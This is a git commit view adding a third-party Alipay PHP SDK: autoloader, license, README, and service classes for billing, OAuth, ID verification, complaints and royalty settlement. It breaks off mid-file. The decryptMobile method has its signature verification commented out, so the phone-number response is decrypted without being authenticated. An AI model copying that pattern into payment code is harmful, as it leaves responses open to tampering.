first commit

This commit is contained in:
2025-11-28 10:08:12 +08:00
commit 09a14bf0a3
1088 changed files with 145132 additions and 0 deletions
+25
View File
@@ -0,0 +1,25 @@
<?php
// autoload.php @generated by Composer
if (PHP_VERSION_ID < 50600) {
if (!headers_sent()) {
header('HTTP/1.1 500 Internal Server Error');
}
$err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
if (!ini_get('display_errors')) {
if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
fwrite(STDERR, $err);
} elseif (!headers_sent()) {
echo $err;
}
}
trigger_error(
$err,
E_USER_ERROR
);
}
require_once __DIR__ . '/composer/autoload_real.php';
return ComposerAutoloaderInita012aca486d6abc048243f4697c6ac40::getLoader();
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2023 消失的彩虹海
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+46
View File
@@ -0,0 +1,46 @@
# Alipay SDK for PHP
支付宝开放平台第三方 PHP SDK,基于官方最新版本,支持公钥和公钥证书2种模式。
### 功能特点
- 根据支付宝开放平台最新API开发,相比官方SDK,功能更完善,代码更简洁
- 支持支付宝服务商模式与互联网平台直付通模式
- 支持Composer安装,无需加载多余组件,可应用于任何平台或框架
- 符合`PSR`标准,你可以各种方便的与你的框架集成
- 基本完善的PHPDoc,可以随心所欲添加本项目中没有的API接口
### 环境要求
`PHP` >= 7.1
### 使用方法
1. Composer 安装。
```bash
composer require cccyun/alipay-sdk
```
2. 创建配置文件 [`config.php`](./examples/config.php),填写配置信息。
3. 引入配置文件,构造请求参数,调用AlipayTradeService中的方法发起请求,参考 [`examples/qrpay.php`](./examples/qrpay.php)
4. 更多实例,请移步 [`examples`](examples/) 目录。
5. AlipayService实现类功能说明
| 类名 | 说明 |
| --------------------- | -------------------------------------------------------- |
| AlipayTradeService | 支付宝交易功能,基本上所有支付产品都用这个 |
| AlipayOauthService | 支付宝快捷登录功能,用于JS支付快捷登录以及第三方应用授权 |
| AlipaySettleService | 支付宝分账功能 |
| AlipayTransferService | 支付宝转账功能 |
| AlipayComplainService | 支付宝交易投诉处理 |
| AlipayCertifyService | 支付宝身份认证 |
| AlipayCertdocService | 支付宝实名证件信息比对验证 |
| AlipayBillService | 支付宝账单功能 |
6. 要对接的API在AlipayService实现类中没有,可根据支付宝官方的文档,使用AlipayService类中的aopExecute方法直接调用接口,参考 [`examples/other.php`](./examples/other.php)
+26
View File
@@ -0,0 +1,26 @@
{
"name": "cccyun/alipay-sdk",
"description": "支付宝开放平台第三方 PHP SDK,基于官方最新版本,支持公钥和公钥证书2种模式。",
"type": "library",
"keywords": [
"alipay",
"支付宝"
],
"license": "MIT",
"minimum-stability": "dev",
"prefer-stable": true,
"require": {
"php": ">=7.1"
},
"authors": [
{
"name": "caihong",
"email": "admin@cccyun.cn"
}
],
"autoload": {
"psr-4": {
"Alipay\\": "src/"
}
}
}
@@ -0,0 +1,146 @@
<?php
namespace Alipay;
use Exception;
/**
* 支付宝账单服务类
* @see https://opendocs.alipay.com/open/01inem
*/
class AlipayBillService extends AlipayService
{
public function __construct($config)
{
parent::__construct($config);
}
/**
* 账户卖出交易查询
* @param string $start_time 创建时间的起始
* @param string $end_time 创建时间的结束
* @param int $page_no 分页号,从1开始
* @param int $page_size 分页大小1000-2000,默认2000
* @return mixed {"page_no":"1","page_size":"2000","total_size":"10000","detail_list":[]}
* @throws Exception
*/
public function sellQuery(string $start_time, string $end_time, int $page_no = 1, int $page_size = 2000)
{
$apiName = 'alipay.data.bill.sell.query';
$bizContent = [
'start_time' => $start_time,
'end_time' => $end_time,
'page_no' => $page_no,
'page_size' => $page_size,
];
return $this->aopExecute($apiName, $bizContent);
}
/**
* 账户买入交易查询
* @param string $start_time 创建时间的起始
* @param string $end_time 创建时间的结束
* @param int $page_no 分页号,从1开始
* @param int $page_size 分页大小1000-2000,默认2000
* @return mixed {"page_no":"1","page_size":"2000","total_size":"10000","detail_list":[]}
* @throws Exception
*/
public function buyQuery(string $start_time, string $end_time, int $page_no = 1, int $page_size = 2000)
{
$apiName = 'alipay.data.bill.buy.query';
$bizContent = [
'start_time' => $start_time,
'end_time' => $end_time,
'page_no' => $page_no,
'page_size' => $page_size,
];
return $this->aopExecute($apiName, $bizContent);
}
/**
* 账户账务明细查询
* @param string $start_time 创建时间的起始
* @param string $end_time 创建时间的结束
* @param int $page_no 分页号,从1开始
* @param int $page_size 分页大小1000-2000,默认2000
* @param null $bill_user_id 指定用户做账单查询
* @return mixed {"page_no":"1","page_size":"2000","total_size":"10000","detail_list":[]}
* @throws Exception
*/
public function accountlogQuery(string $start_time, string $end_time, int $page_no = 1, int $page_size = 2000, $bill_user_id = null)
{
$apiName = 'alipay.data.bill.accountlog.query';
$bizContent = [
'start_time' => $start_time,
'end_time' => $end_time,
'page_no' => $page_no,
'page_size' => $page_size,
];
if ($bill_user_id) $bizContent['bill_user_id'] = $bill_user_id;
return $this->aopExecute($apiName, $bizContent);
}
/**
* 账户充值,转账,提现查询
* @param string $start_time 创建时间的起始
* @param string $end_time 创建时间的结束
* @param int $page_no 分页号,从1开始
* @param int $page_size 分页大小1000-2000,默认2000
* @return mixed {"page_no":"1","page_size":"2000","total_size":"10000","detail_list":[]}
* @throws Exception
*/
public function transferQuery(string $start_time, string $end_time, int $page_no = 1, int $page_size = 2000)
{
$apiName = 'alipay.data.bill.transfer.query';
$bizContent = [
'start_time' => $start_time,
'end_time' => $end_time,
'page_no' => $page_no,
'page_size' => $page_size,
];
return $this->aopExecute($apiName, $bizContent);
}
/**
* 账户当前余额查询
* @return mixed {"total_amount":"支付宝账户余额","available_amount":"账户可用余额","freeze_amount":"冻结金额","settle_amount":"待结算金额"}
* @throws Exception
*/
public function balanceQuery()
{
$apiName = 'alipay.data.bill.balance.query';
return $this->aopExecute($apiName);
}
/**
* 申请电子回单
* @param string $type 申请的类型
* @param string $key 根据不同业务类型,传入不同参数
* @return mixed {"file_id":"文件申请号"}
* @throws Exception
*/
public function ereceiptApply(string $type, string $key)
{
$apiName = 'alipay.data.bill.ereceipt.apply';
$bizContent = [
'type' => $type,
'key' => $key,
];
return $this->aopExecute($apiName, $bizContent);
}
/**
* 查询电子回单状态
* @param string $file_id 文件申请号
* @return mixed {"status":"处理状态","download_url":"下载链接","error_message":"失败原因"}
* @throws Exception
*/
public function ereceiptQuery(string $file_id)
{
$apiName = 'alipay.data.bill.ereceipt.query';
$bizContent = [
'file_id' => $file_id
];
return $this->aopExecute($apiName, $bizContent);
}
}
@@ -0,0 +1,105 @@
<?php
namespace Alipay;
use Exception;
/**
* 支付宝实名证件信息比对验证服务类
* @see https://opendocs.alipay.com/open/01bny6
*/
class AlipayCertdocService extends AlipayService
{
/**
* @param array $config 支付宝配置信息
*/
public function __construct(array $config)
{
parent::__construct($config);
}
/**
* 实名证件信息比对验证预咨询
* @param string $cert_name 真实姓名
* @param string $cert_no 证件号码
* @return mixed {"code":"10000","msg":"Success","verify_id":"申请验证ID"}
* @throws Exception
*/
public function preconsult(string $cert_name, string $cert_no)
{
$apiName = 'alipay.user.certdoc.certverify.preconsult';
$bizContent = array(
'user_name' => $cert_name, //真实姓名
'cert_type' => 'IDENTITY_CARD', //证件类型
'cert_no' => $cert_no
);
return $this->aopExecute($apiName, $bizContent);
}
/**
* 实名证件信息比对验证咨询
* @param string $verify_id 申请验证ID
* @param string $auth_token 用户授权令牌
* @return mixed {"code":"10000","msg":"Success","passed":"F","fail_reason":"姓名不一致","fail_params":"[\\\"user_name\\\"]"}
* @throws Exception
*/
public function consult(string $verify_id, string $auth_token)
{
$apiName = 'alipay.user.certdoc.certverify.consult';
$bizContent = array(
'verify_id' => $verify_id,
);
$params = [
'auth_token' => $auth_token
];
return $this->aopExecute($apiName, $bizContent, $params);
}
/**
* 跳转支付宝授权页面
* @param string $redirect_uri 回调地址
* @param string $verify_id 申请验证ID
* @param $state
* @param bool $is_get_url 是否只返回url
* @return void|string
*/
public function oauth(string $redirect_uri, string $verify_id, $state = null, bool $is_get_url = false)
{
$param = [
'app_id' => $this->appId,
'scope' => 'id_verify',
'redirect_uri' => $redirect_uri,
'cert_verify_id' => $verify_id
];
if($state) $param['state'] = $state;
$url = 'https://openauth.alipay.com/oauth2/publicAppAuthorize.htm?'.http_build_query($param);
if ($is_get_url) {
return $url;
}
header("Location: $url");
exit();
}
/**
* 换取授权访问令牌
* @param string $code 授权码或刷新令牌
* @param string $grant_type 授权方式(authorization_code,refresh_token)
* @return mixed {"user_id":"支付宝用户的唯一标识","open_id":"支付宝用户的唯一标识","access_token":"访问令牌","expires_in":"3600","refresh_token":"刷新令牌","re_expires_in":"3600"}
* @throws Exception
*/
public function getToken(string $code, string $grant_type = 'authorization_code')
{
$apiName = 'alipay.system.oauth.token';
$params = [];
$params['grant_type'] = $grant_type;
if($grant_type == 'refresh_token'){
$params['refresh_token'] = $code;
}else{
$params['code'] = $code;
}
return $this->aopExecute($apiName, null, $params);
}
}
@@ -0,0 +1,83 @@
<?php
namespace Alipay;
use Exception;
/**
* 支付宝身份认证服务类
* @see https://opendocs.alipay.com/open/repo-013ubq
*/
class AlipayCertifyService extends AlipayService
{
//认证成功返回页面
private $return_url;
/**
* @param array $config 支付宝配置信息
*/
public function __construct(array $config)
{
parent::__construct($config);
$this->return_url = $config['return_url'];
}
/**
* 身份认证初始化服务
* @param string $outer_order_no 商户请求的唯一标识
* @param string $cert_name 真实姓名
* @param string $cert_no 证件号码
* @param string $cert_type 证件类型
* @param string $biz_code 认证场景码(FACE、SMART_FACE
* @return mixed {"code":"10000","msg":"Success","certify_id":"本次申请操作的唯一标识"}
*
* @throws Exception
* @see https://opendocs.alipay.com/open/02ahjy
*/
public function initialize(string $outer_order_no, string $cert_name, string $cert_no, string $cert_type = 'IDENTITY_CARD', string $biz_code = 'SMART_FACE')
{
$apiName = 'alipay.user.certify.open.initialize';
$bizContent = [
'outer_order_no' => $outer_order_no, //商户请求的唯一标识
'biz_code' => $biz_code, //认证场景码
'identity_param' => [
'identity_type' => 'CERT_INFO', //身份信息参数类型
'cert_type' => $cert_type, //证件类型
'cert_name' => $cert_name, //真实姓名
'cert_no' => $cert_no, //证件号码
],
'merchant_config' => ['return_url'=>$this->return_url], //商户个性化配置
];
return $this->aopExecute($apiName, $bizContent);
}
/**
* 身份认证开始认证
* @param string $certify_id 本次申请操作的唯一标识
* @return string html表单
* @throws Exception
*/
public function certify(string $certify_id): string
{
$apiName = 'alipay.user.certify.open.certify';
$bizContent = array(
'certify_id' => $certify_id,
);
return $this->aopPageExecute($apiName, $bizContent);
}
/**
* 身份认证记录查询
* @param string $certify_id 本次申请操作的唯一标识
* @return mixed {"code":"10000","msg":"Success","passed":"T"}
* @throws Exception
*/
public function query(string $certify_id)
{
$apiName = 'alipay.user.certify.open.query';
$bizContent = array(
'certify_id' => $certify_id,
);
return $this->aopExecute($apiName, $bizContent);
}
}
@@ -0,0 +1,216 @@
<?php
namespace Alipay;
use Exception;
/**
* 支付宝交易投诉处理类
* @see https://opendocs.alipay.com/open/02z18r
* @see https://opendocs.alipay.com/pre-open/repo-02ei7s
*/
class AlipayComplainService extends AlipayService
{
public function __construct($config)
{
parent::__construct($config);
}
/**
* 查询单条交易投诉详情
* @param string $complain_event_id 支付宝侧投诉单号
* @return mixed {"complain_event_id":"支付宝侧投诉单号","status":"MERCHANT_PROCESSING","trade_no":"支付宝交易号","merchant_order_no":"商家订单号","gmt_create":"投诉单创建时间","gmt_modified":"投诉单修改时间","gmt_finished":"投诉单完结时间","leaf_category_name":"用户投诉诉求","complain_reason":"用户投诉原因","content":"用户投诉内容","images":[],"phone_no":"投诉人电话号码","trade_amount":"交易金额","reply_detail_infos":[]}
* @throws Exception
*/
public function query(string $complain_event_id)
{
$apiName = 'alipay.merchant.tradecomplain.query';
$bizContent = [
'complain_event_id' => $complain_event_id,
];
return $this->aopExecute($apiName, $bizContent);
}
/**
* 查询交易投诉列表
* @param string|null $status 状态
* @param string|null $begin_time 查询开始时间
* @param string|null $end_time 查询结束时间
* @param int $page_num 当前页
* @param int $page_size 每页条数,最多支持20条
* @return mixed {"page_size":10,"page_num":1,"total_page_num":5,"total_num":55,"trade_complain_infos":[]}
* @throws Exception
*/
public function batchQuery(string $status = null, string $begin_time = null, string $end_time = null, int $page_num = 1, int $page_size = 10)
{
$apiName = 'alipay.merchant.tradecomplain.batchquery';
$bizContent = [
'page_num' => $page_num,
'page_size' => $page_size,
];
if ($status) $bizContent['status'] = $status;
if ($begin_time) $bizContent['begin_time'] = $begin_time;
if ($end_time) $bizContent['end_time'] = $end_time;
return $this->aopExecute($apiName, $bizContent);
}
/**
* 商户上传处理图片
* @param string $file_path 文件路径
* @param string $file_name 文件名
* @return string 图片资源标识
* @throws Exception
*/
public function imageUpload(string $file_path, string $file_name): string
{
$image_type = array_pop(explode('.',$file_name));
if (empty($image_type)) $image_type = 'png';
$apiName = 'alipay.merchant.image.upload';
$params = [
'image_type' => $image_type,
'image_content' => new \CURLFile($file_path, '', $file_name),
];
$result = $this->aopExecute($apiName, null, $params);
return $result['image_id'];
}
/**
* 商家处理交易投诉
* @param string $complain_event_id 投诉单号
* @param string $feedback_code 反馈类目ID
* @param string $feedback_content 反馈内容
* @param string|null $feedback_images 反馈图片id列表(多个用逗号隔开)
* @return bool
* @throws Exception
*/
public function feedbackSubmit(string $complain_event_id, string $feedback_code, string $feedback_content, string $feedback_images = null): bool
{
$apiName = 'alipay.merchant.tradecomplain.feedback.submit';
$bizContent = [
'complain_event_id' => $complain_event_id,
'feedback_code' => $feedback_code,
'feedback_content' => $feedback_content,
];
if ($feedback_images) $bizContent['feedback_images'] = $feedback_images;
$this->aopExecute($apiName, $bizContent);
return true;
}
/**
* 商家留言回复
* @param string $complain_event_id 投诉单号
* @param string $reply_content 回复内容
* @param string|null $reply_images 回复图片(多个用逗号隔开)
* @return bool
* @throws Exception
*/
public function replySubmit(string $complain_event_id, string $reply_content, string $reply_images = null): bool
{
$apiName = 'alipay.merchant.tradecomplain.reply.submit';
$bizContent = [
'complain_event_id' => $complain_event_id,
'reply_content' => $reply_content,
];
if ($reply_images) $bizContent['reply_images'] = $reply_images;
$this->aopExecute($apiName, $bizContent);
return true;
}
/**
* 商家补充凭证
* @param string $complain_event_id 投诉单号
* @param string $supplement_content 文字凭证
* @param string|null $supplement_images 图片凭证(多个用逗号隔开)
* @return bool
* @throws Exception
*/
public function supplementSubmit(string $complain_event_id, string $supplement_content, string $supplement_images = null): bool
{
$apiName = 'alipay.merchant.tradecomplain.supplement.submit';
$bizContent = [
'complain_event_id' => $complain_event_id,
'supplement_content' => $supplement_content,
];
if ($supplement_images) $bizContent['supplement_images'] = $supplement_images;
$this->aopExecute($apiName, $bizContent);
return true;
}
/**
* RiskGO查询单条交易投诉详情
* @param string $complain_id 支付宝侧投诉单号
* @return mixed
* @throws Exception
*/
public function riskquery(string $complain_id)
{
$apiName = 'alipay.security.risk.complaint.info.query';
$bizContent = [
'complain_id' => $complain_id,
];
return $this->aopExecute($apiName, $bizContent);
}
/**
* RiskGO查询交易投诉列表
* @param string|null $status 状态
* @param string|null $begin_time 查询开始时间
* @param string|null $end_time 查询结束时间
* @param int $page_num 当前页
* @param int $page_size 每页条数,最多支持20条
* @return mixed {"page_size":10,"page_num":1,"total_page_num":5,"total_num":55,"trade_complain_infos":[]}
* @throws Exception
*/
public function riskbatchQuery(string $status = null, string $begin_time = null, string $end_time = null, int $page_num = 1, int $page_size = 10)
{
$apiName = 'alipay.security.risk.complaint.info.batchquery';
$bizContent = [
'current_page_num' => $page_num,
'page_size' => $page_size,
];
if ($status) $bizContent['status_list'] = [$status];
if ($begin_time) $bizContent['begin_time'] = $begin_time;
if ($end_time) $bizContent['end_time'] = $end_time;
return $this->aopExecute($apiName, $bizContent);
}
/**
* RiskGO商户上传处理图片
* @param string $file_path 文件路径
* @param string $file_name 文件名
* @return mixed 图片资源标识
* @throws Exception
*/
public function riskimageUpload(string $file_path, string $file_name)
{
$apiName = 'alipay.security.risk.complaint.file.upload';
$params = [
'file_content' => new \CURLFile($file_path, '', $file_name),
];
return $this->aopExecute($apiName, null, $params);
}
/**
* RiskGO商家处理交易投诉
* @param string $complain_id 投诉单号
* @param string $process_code 投诉处理结果码
* @param string $remark 备注
* @param array|null $img_file_list 图片文件列表
* @return bool
* @throws Exception
*/
public function riskfeedbackSubmit(string $complain_id, string $process_code, string $remark, array $img_file_list = null): bool
{
$apiName = 'alipay.security.risk.complaint.process.finish';
$bizContent = [
'id_list' => [$complain_id],
'process_code' => $process_code,
'remark' => $remark
];
if ($img_file_list) $bizContent['img_file_list'] = $img_file_list;
$result = $this->aopExecute($apiName, $bizContent);
return $result['complaint_process_success'];
}
}
@@ -0,0 +1,198 @@
<?php
namespace Alipay;
use Exception;
/**
* 支付宝快捷登录服务类
* @see https://opendocs.alipay.com/open/repo-01480o
*/
class AlipayOauthService extends AlipayService
{
/**
* @param array $config 支付宝配置信息
*/
public function __construct(array $config)
{
if(isset($config['app_auth_token'])) unset($config['app_auth_token']);
parent::__construct($config);
}
/**
* 跳转支付宝授权页面
* @param string $redirect_uri 回调地址
* @param string $state
* @param string $scope 授权范围(auth_base,auth_user)
* @param bool $is_get_url 是否只返回url
* @return void|string
*/
public function oauth(string $redirect_uri, $state = null, $scope = 'auth_base', bool $is_get_url = false)
{
$param = [
'app_id' => $this->appId,
'scope' => $scope,
'redirect_uri' => $redirect_uri,
];
if($state) $param['state'] = $state;
$url = 'https://openauth.alipay.com/oauth2/publicAppAuthorize.htm?'.http_build_query($param);
if ($is_get_url) {
return $url;
}
header("Location: $url");
exit();
}
/**
* 换取授权访问令牌
* @param string $code 授权码或刷新令牌
* @param string $grant_type 授权方式(authorization_code,refresh_token)
* @return mixed {"user_id":"支付宝用户的唯一标识","open_id":"支付宝用户的唯一标识","access_token":"访问令牌","expires_in":"3600","refresh_token":"刷新令牌","re_expires_in":"3600"}
* @throws Exception
*/
public function getToken(string $code, string $grant_type = 'authorization_code')
{
$apiName = 'alipay.system.oauth.token';
$params = [];
$params['grant_type'] = $grant_type;
if($grant_type == 'refresh_token'){
$params['refresh_token'] = $code;
}else{
$params['code'] = $code;
}
return $this->aopExecute($apiName, null, $params);
}
/**
* 支付宝会员授权信息查询
* @param string $accessToken 用户授权令牌
* @return mixed {"code":"10000","msg":"Success","user_id":"支付宝用户的userId","avatar":"用户头像地址","city":"市名称","nick_name":"用户昵称","province":"省份名称","gender":"性别MF"}
* @throws Exception
*/
public function userinfo(string $accessToken)
{
$apiName = 'alipay.user.info.share';
$params = [
'auth_token' => $accessToken
];
return $this->aopExecute($apiName, null, $params);
}
/**
* 跳转支付宝第三方应用授权页面
* @param string $redirect_uri 回调地址
* @param $state
* @param bool $is_get_url 是否只返回url
* @return void|string
*/
public function appOauth(string $redirect_uri, $state = null, bool $is_get_url = false)
{
$param = [
'app_id' => $this->appId,
'redirect_uri' => $redirect_uri,
];
if($state) $param['state'] = $state;
$url = 'https://openauth.alipay.com/oauth2/appToAppAuth.htm?'.http_build_query($param);
if ($is_get_url) {
return $url;
}
header("Location: $url");
exit();
}
/**
* 跳转支付宝指定应用授权页面
* @param string $redirect_uri 回调地址
* @param array $app_types 对商家应用的限制类型
* @param $state
* @return array [PC端url, APP端url]
*/
public function appOauthAssign(string $redirect_uri, array $app_types, $state = null): array
{
$param = [
'platformCode' => 'O',
'taskType' => 'INTERFACE_AUTH',
'agentOpParam' => [
'redirectUri' => $redirect_uri,
'appTypes' => $app_types,
'isvAppId' => $this->appId,
'state' => $state
],
];
$biz_data = json_encode($param, JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE);
$pc_url = 'https://b.alipay.com/page/message/tasksDetail?bizData='.rawurlencode($biz_data);
$app_url = 'alipays://platformapi/startapp?appId=2021003130652097&page=pages%2Fauthorize%2Findex%3FbizData%3D'.rawurlencode($biz_data);
return [$pc_url, $app_url];
}
/**
* 换取授权访问令牌
* @param string $code 授权码或刷新令牌
* @param string $grant_type 授权方式(authorization_code,refresh_token)
* @return mixed {"user_id":"授权商户的user_id","auth_app_id":"授权商户的appid","app_auth_token":"应用授权令牌","app_refresh_token":"刷新令牌","re_expires_in":"3600"}
* @throws Exception
*/
public function getAppToken(string $code, string $grant_type = 'authorization_code')
{
$apiName = 'alipay.open.auth.token.app';
$bizContent = [
'grant_type' => $grant_type,
];
if($grant_type == 'refresh_token'){
$bizContent['refresh_token'] = $code;
}else{
$bizContent['code'] = $code;
}
return $this->aopExecute($apiName, $bizContent);
}
/**
* 查询授权商家信息
* @param string $appAuthToken 应用授权令牌
* @return mixed {"user_id":"授权商户的user_id","auth_app_id":"授权商户的appid","expires_in":31536000,"auth_methods":[],"auth_start":"授权生效时间","auth_end":"授权失效时间","status":"valid/invalid","is_by_app_auth":true}
* @throws Exception
*/
public function appQuery(string $appAuthToken)
{
$apiName = 'alipay.open.auth.token.app.query';
$bizContent = [
'app_auth_token' => $appAuthToken,
];
return $this->aopExecute($apiName, $bizContent);
}
public function decryptMobile(array $response, string $key)
{
if(is_string($response['response'])){
/*if(!$this->client->rsaPubilcVerify('"'.$response['response'].'"', $response['sign'])){
throw new Exception('手机号码数据验签失败');
}*/
$data = $this->client->aesDecrypt($response['response'], $key);
if(!$data) {
throw new Exception('手机号码数据解密失败');
}
$result = json_decode($data, true);
if($result['code'] == '10000'){
return $result['mobile'];
}elseif(isset($result['subMsg'])){
throw new Exception($result['subMsg']);
}else{
throw new Exception('手机号码数据解密失败 '.$result['msg']);
}
}elseif(isset($response['response']['subCode']) && isset($response['response']['subMsg'])){
throw new Exception('['.$response['response']['subCode'].']'.$response['response']['subMsg']);
}else{
throw new Exception('手机号码加密数据错误');
}
}
}
+197
View File
@@ -0,0 +1,197 @@
<?php
namespace Alipay;
use Alipay\Aop\AopClient;
use Alipay\Aop\AlipayCertHelper;
use Alipay\Aop\AlipayRequest;
use Alipay\Aop\AlipayResponseException;
use Exception;
use InvalidArgumentException;
class AlipayService
{
//AopClient
protected $client;
//是否公钥证书模式
protected $isCertMode = false;
//应用ID
protected $appId;
//异步通知回调地址
protected $notifyUrl;
//同步通知回调地址
protected $returnUrl;
//服务商模式子商户token
protected $appAuthToken;
//日志文件夹路径
protected $logPath;
//页面跳转接口返回类型
protected $pageMethod;
/**
* @param array $config 支付宝配置信息
* @throws InvalidArgumentException
*/
public function __construct(array $config)
{
if (empty($config['app_id'])) {
throw new InvalidArgumentException('应用AppID不能为空');
}
if (empty($config['app_private_key'])) {
throw new InvalidArgumentException("应用私钥不能为空");
}
if (empty($config['alipay_public_key']) && empty($config['alipay_cert_path'])) {
throw new InvalidArgumentException("支付宝公钥不能为空");
}
$this->appId = $config['app_id'];
if (!empty($config['app_cert_path']) && !empty($config['alipay_cert_path']) && !empty($config['root_cert_path']) && (!isset($config['cert_mode']) || $config['cert_mode'] == 1)) {
$this->isCertMode = true;
}
if (isset($config['app_auth_token'])) {
$this->appAuthToken = $config['app_auth_token'];
}
if (isset($config['logPath'])) {
$this->logPath = $config['logPath'];
}
if (isset($config['pageMethod'])) {
$this->pageMethod = $config['pageMethod'];
}
$this->client = new AopClient();
$this->client->appId = $config['app_id'];
if (!empty($config['gateway_url'])) {
$this->client->gatewayUrl = $config['gateway_url'];
}
if (!empty($config['sign_type'])) {
$this->client->signType = $config['sign_type'];
}
if (!empty($config['charset'])) {
$this->client->charset = $config['charset'];
}
$this->client->rsaPrivateKey = $config['app_private_key'];
if ($this->isCertMode) {
$this->client->rsaPublicKeyFilePath = $config['alipay_cert_path'];
$this->client->appCertSN = AlipayCertHelper::getCertSN($config['app_cert_path']);
$this->client->alipayRootCertSN = AlipayCertHelper::getRootCertSN($config['root_cert_path']);
} else {
$this->client->rsaPublicKey = $config['alipay_public_key'];
}
}
/**
* 发起接口请求
*
* @param string $apiName 接口名称
* @param array|null $bizContent 请求参数的集合
* @param array|null $params 其他公共参数
* @return mixed
* @throws Exception
*/
public function aopExecute(string $apiName, array $bizContent = null, array $params = null)
{
$request = new AlipayRequest();
$request->setApiMethodName($apiName);
$request->setNotifyUrl($this->notifyUrl);
$request->setAppAuthToken($this->appAuthToken);
$request->setBizContent($bizContent);
if (is_array($params) && count($params) > 0) {
$request->setOtherParams($params);
}
$result = $this->client->execute($request)->getData();
if ($apiName == 'alipay.system.oauth.token' && isset($result['access_token'])) {
return $result;
} elseif (isset($result['code']) && $result['code'] == '10000') {
return $result;
} else {
throw new AlipayResponseException($result);
}
}
/**
* 页面跳转接口,返回form表单html
*
* @param string $apiName 接口名称
* @param array|null $bizContent 请求参数的集合
* @param array|null $params 其他公共参数
* @return string
* @throws Exception
*/
public function aopPageExecute(string $apiName, array $bizContent = null, array $params = null): string
{
$request = new AlipayRequest();
$request->setApiMethodName($apiName);
$request->setNotifyUrl($this->notifyUrl);
$request->setReturnUrl($this->returnUrl);
$request->setAppAuthToken($this->appAuthToken);
$request->setBizContent($bizContent);
if (is_array($params) && count($params) > 0) {
$request->setOtherParams($params);
}
if (!empty($this->pageMethod)) {
switch ($this->pageMethod) {
case '2':
$httpmethod = 'REDIRECT';
break;
case '1':
$httpmethod = 'GET';
break;
default:
$httpmethod = 'POST';
break;
}
return $this->client->pageExecute($request, $httpmethod);
} else {
return $this->client->pageExecute($request);
}
}
/**
* APP接口,返回收银台SDK的字符串
*
* @param string $apiName 接口名称
* @param array|null $bizContent 请求参数的集合
* @param array|null $params 其他公共参数
* @return string
*/
public function aopSdkExecute(string $apiName, array $bizContent = null, array $params = null): string
{
$request = new AlipayRequest();
$request->setApiMethodName($apiName);
$request->setNotifyUrl($this->notifyUrl);
$request->setAppAuthToken($this->appAuthToken);
$request->setBizContent($bizContent);
if (is_array($params) && count($params) > 0) {
$request->setOtherParams($params);
}
return $this->client->sdkExecute($request);
}
/**
* 回调验签
* @param array $params 支付宝返回的信息
* @return bool
*/
public function check(array $params): bool
{
return $this->client->verify($params);
}
/**
* 记录日志
*/
public function writeLog($text)
{
if (empty($this->logPath)) return;
//$text=iconv("GBK", "UTF-8//IGNORE", $text);
file_put_contents($this->logPath . "log.txt", date("Y-m-d H:i:s") . " " . $text . "\r\n", FILE_APPEND);
}
}
@@ -0,0 +1,200 @@
<?php
namespace Alipay;
use Exception;
/**
* 支付宝分账服务类
* @see https://opendocs.alipay.com/open/repo-0038ln
*/
class AlipaySettleService extends AlipayService
{
/**
* @param array $config 支付宝配置信息
*/
public function __construct(array $config)
{
parent::__construct($config);
}
/**
* 分账关系绑定
* @param string $type 分账接收方方类型(userId,loginName,openId)
* @param string $account 分账接收方账号
* @param string $name 分账接收方真实姓名
* @return bool
* @throws Exception
*/
public function relation_bind(string $type, string $account, string $name): bool
{
$apiName = 'alipay.trade.royalty.relation.bind';
$out_request_no = date("YmdHis").rand(11111,99999);
$receiver = [
'type' => $type,
'account' => $account,
];
if(!empty($name)) $receiver['name'] = $name;
$bizContent = array(
'receiver_list' => [
$receiver
],
'out_request_no' => $out_request_no,
);
$this->aopExecute($apiName, $bizContent);
return true;
}
/**
* 分账关系解绑
* @param string $type 分账接收方方类型(userId,loginName,openId)
* @param string $account 分账接收方账号
* @return bool
* @throws Exception
*/
public function relation_unbind(string $type, string $account): bool
{
$apiName = 'alipay.trade.royalty.relation.unbind';
$out_request_no = date("YmdHis").rand(11111,99999);
$receiver = [
'type' => $type,
'account' => $account,
];
$bizContent = array(
'receiver_list' => [
$receiver
],
'out_request_no' => $out_request_no,
);
$this->aopExecute($apiName, $bizContent);
return true;
}
/**
* 分账关系查询
* @param int $page_num 页码
* @param int $page_size 每页条数
* @return array
* @throws Exception
*/
public function relation_batchquery(int $page_num = 1, int $page_size = 20): array
{
$apiName = 'alipay.trade.royalty.relation.batchquery';
$out_request_no = date("YmdHis").rand(11111,99999);
$bizContent = array(
'page_num' => $page_num,
'page_size' => $page_size,
'out_request_no' => $out_request_no,
);
$result = $this->aopExecute($apiName, $bizContent);
return $result['receiver_list'];
}
/**
* 分账请求
* @param string $trade_no 支付宝订单号
* @param string $type 收入方账户类型(userId,cardAliasNo,loginName,openId)
* @param string $account 收入方账户
* @param numeric $money 分账的金额
* @return mixed {"trade_no":"支付宝交易号","settle_no":"支付宝分账单号"}
* @throws Exception
*/
public function order_settle(string $trade_no, string $type, string $account, $money) {
$apiName = 'alipay.trade.order.settle';
$out_request_no = date("YmdHis").rand(11111,99999);
$receiver = [
'trans_in_type' => $type,
'trans_in' => $account,
'amount' => $money
];
$bizContent = array(
'out_request_no' => $out_request_no,
'trade_no' => $trade_no,
'royalty_parameters' => [
$receiver
],
'extend_params' => [
'royalty_finish' => 'true'
]
);
return $this->aopExecute($apiName, $bizContent);
}
/**
